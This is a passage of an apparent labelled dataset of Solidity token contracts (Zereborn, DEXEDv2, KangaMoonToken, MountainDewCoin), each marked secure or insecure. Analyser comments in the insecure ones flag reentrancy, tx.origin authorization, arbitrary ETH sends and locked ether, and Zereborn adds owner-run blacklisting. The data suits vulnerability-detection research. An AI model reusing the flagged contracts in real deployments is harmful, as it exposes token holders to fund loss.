zereborn._reduceBuyTaxAt should be constant \n\t// Recommendation for 4b1199b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39f3d41): zereborn._reduceSellTaxAt should be constant \n\t// Recommendation for 39f3d41: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 487a7ee): zereborn._preventSwapBefore should be constant \n\t// Recommendation for 487a7ee: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Zereborn\";\n\n string private constant _symbol = unicode\"Zereborn\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3be2935): zereborn._taxSwapThreshold should be constant \n\t// Recommendation for 3be2935: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9c7539): zereborn._maxTaxSwap should be constant \n\t// Recommendation for f9c7539: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private transferDelayEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a259355): zereborn.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a259355: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d8b5388): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d8b5388: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 108cabe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 108cabe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d8b5388\n\t\t// reentrancy-benign | ID: 108cabe\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d8b5388\n\t\t// reentrancy-benign | ID: 108cabe\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4dbedb3): zereborn._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4dbedb3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 108cabe\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d8b5388\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: db35ec6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for db35ec6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: f186af2): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for f186af2: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d8255be): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d8255be: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: f186af2\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: db35ec6\n\t\t\t\t// reentrancy-eth | ID: d8255be\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: db35ec6\n\t\t\t\t\t// reentrancy-eth | ID: d8255be\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d8255be\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d8255be\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d8255be\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: db35ec6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d8255be\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d8255be\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: db35ec6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: db35ec6\n\t\t// reentrancy-events | ID: d8b5388\n\t\t// reentrancy-benign | ID: 108cabe\n\t\t// reentrancy-eth | ID: d8255be\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0c5edad): zereborn.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0c5edad: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: db35ec6\n\t\t// reentrancy-events | ID: d8b5388\n\t\t// reentrancy-eth | ID: d8255be\n\t\t// arbitrary-send-eth | ID: 0c5edad\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 19b4a8b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 19b4a8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 17781a5): zereborn.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 17781a5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d1863d0): zereborn.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d1863d0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bbcecc4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bbcecc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 19b4a8b\n\t\t// reentrancy-eth | ID: bbcecc4\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 19b4a8b\n\t\t// unused-return | ID: 17781a5\n\t\t// reentrancy-eth | ID: bbcecc4\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 19b4a8b\n\t\t// unused-return | ID: d1863d0\n\t\t// reentrancy-eth | ID: bbcecc4\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 19b4a8b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bbcecc4\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 19b4a8b\n transferDelayEnabled = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_1375.sol", "secure": 0, "size_bytes": 18871 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 096d304): Contract locking ether found Contract DEXEDv2 has payable functions DEXEDv2.receive() But does not have a function to withdraw the ether\n// Recommendation for 096d304: Remove the 'payable' attribute or add a withdraw function.\ncontract DEXEDv2 is Context, IERC20, Ownable {\n uint256 private constant _totalSupply = 100_000_000e9;\n\n uint128 public threshold = 100_000e9;\n\n IUniswapV2Router02 constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address immutable uniswapV2Pair;\n\n address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address payable marketingWallet;\n\n uint64 public buyTax = 5;\n\n uint64 public sellTax = 5;\n\n bool public launch;\n\n bool private inSwapAndLiquify;\n\n uint64 public lastLiquifyTime;\n\n string private constant _name = \"DEXED\";\n\n string private constant _symbol = \"DEXED\";\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public untaxable;\n\n constructor() {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0x2269774Ea9E4CD6B5309BC79C3049226B2F78925);\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n untaxable[msg.sender] = true;\n\n _balance[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return 9;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b68f805): DEXEDv2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b68f805: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2101444): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2101444: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2eeea68): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2eeea68: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2101444\n\t\t// reentrancy-benign | ID: 2eeea68\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2101444\n\t\t// reentrancy-benign | ID: 2eeea68\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c08659): DEXEDv2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c08659: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2eeea68\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2101444\n emit Approval(owner, spender, amount);\n }\n\n function openTrading() external onlyOwner {\n launch = true;\n\n lastLiquifyTime = uint64(block.number);\n }\n\n function setUntaxable(address user, bool isUntaxable) external onlyOwner {\n require(user != address(0), \"Zero Address\");\n\n untaxable[user] = isUntaxable;\n\n emit Untaxable(user, isUntaxable);\n }\n\n function changeSwapBackThreshold(\n uint128 newSwapThreshold\n ) external onlyOwner {\n require(newSwapThreshold != 0, \"Swap threshold cannot be zero\");\n\n threshold = newSwapThreshold;\n\n emit ThresholdChanged(newSwapThreshold);\n }\n\n function changeMarketingWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"Zero Address\");\n\n marketingWallet = payable(newWallet);\n\n emit NewMarketingWallet(newWallet);\n }\n\n function setTaxes(uint64 buy, uint64 sell) external onlyOwner {\n require(buy <= 5 && sell <= 5, \"Tax amount is too high\");\n\n buyTax = buy;\n\n sellTax = sell;\n\n emit TaxesChanged(buy, sell);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 526608a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 526608a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d5467af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d5467af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (from == uniswapV2Pair)\n require(launch, \"Trading is not started yet\");\n\n uint256 _tax = 0;\n\n if ((!untaxable[from] && !untaxable[to]) && !inSwapAndLiquify) {\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n _tax = sellTax;\n\n if (\n _balance[address(this)] >= threshold &&\n lastLiquifyTime != uint64(block.number)\n\t\t\t\t// reentrancy-events | ID: 526608a\n\t\t\t\t// reentrancy-no-eth | ID: d5467af\n ) _swapBack(threshold);\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: d5467af\n _balance[from] -= amount;\n\n unchecked {\n\t\t\t\t// reentrancy-no-eth | ID: d5467af\n _balance[to] += transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: d5467af\n _balance[address(this)] += taxTokens;\n }\n\n\t\t\t// reentrancy-events | ID: 526608a\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: 526608a\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: d5467af\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: d5467af\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: 526608a\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f8dc995): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f8dc995: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _swapBack(uint256 tokensToSwap) internal {\n inSwapAndLiquify = true;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: 2101444\n\t\t// reentrancy-events | ID: 526608a\n\t\t// reentrancy-benign | ID: f8dc995\n\t\t// reentrancy-benign | ID: 2eeea68\n\t\t// reentrancy-no-eth | ID: d5467af\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n )\n {} catch {}\n\n\t\t// reentrancy-benign | ID: f8dc995\n lastLiquifyTime = uint64(block.number);\n\n\t\t// reentrancy-benign | ID: f8dc995\n inSwapAndLiquify = false;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 096d304): Contract locking ether found Contract DEXEDv2 has payable functions DEXEDv2.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 096d304: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n event NewMarketingWallet(address wallet);\n\n event TaxesChanged(uint64 buy, uint64 sell);\n\n event ThresholdChanged(uint128 value);\n\n event Untaxable(address indexed user, bool isUntaxable);\n}", "file_name": "solidity_code_1376.sol", "secure": 0, "size_bytes": 11062 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract KangaMoonToken is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant hardCap = 1_000_000_000 * (10 ** _decimals);\n\n constructor(string memory name_, string memory symbol_, address _to) {\n _name = name_;\n\n _symbol = symbol_;\n\n _mint(_to, hardCap);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}", "file_name": "solidity_code_1377.sol", "secure": 1, "size_bytes": 5238 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MountainDewCoin {\n using SafeMath for uint256;\n\n string public constant name = \"Mountain Dew Coin\";\n\n string public constant symbol = \"DEW\";\n\n uint8 public constant decimals = 2;\n\n uint256 public immutable totalSupply = 100000000 * 10 ** uint256(decimals);\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n constructor() {\n balanceOf[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n function _transfer(address _from, address _to, uint256 _value) internal {\n require(_to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n balanceOf[_from] >= _value,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);\n\n balanceOf[_from] = balanceOf[_from].sub(_value);\n\n balanceOf[_to] = balanceOf[_to].add(_value);\n\n emit Transfer(_from, _to, _value);\n\n assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) external returns (bool success) {\n _transfer(msg.sender, _to, _value);\n\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) external returns (bool success) {\n allowance[msg.sender][_spender] = _value;\n\n emit Approval(msg.sender, _spender, _value);\n\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool success) {\n require(\n _value <= allowance[_from][msg.sender],\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);\n\n _transfer(_from, _to, _value);\n\n return true;\n }\n}", "file_name": "solidity_code_1378.sol", "secure": 1, "size_bytes": 2379 }
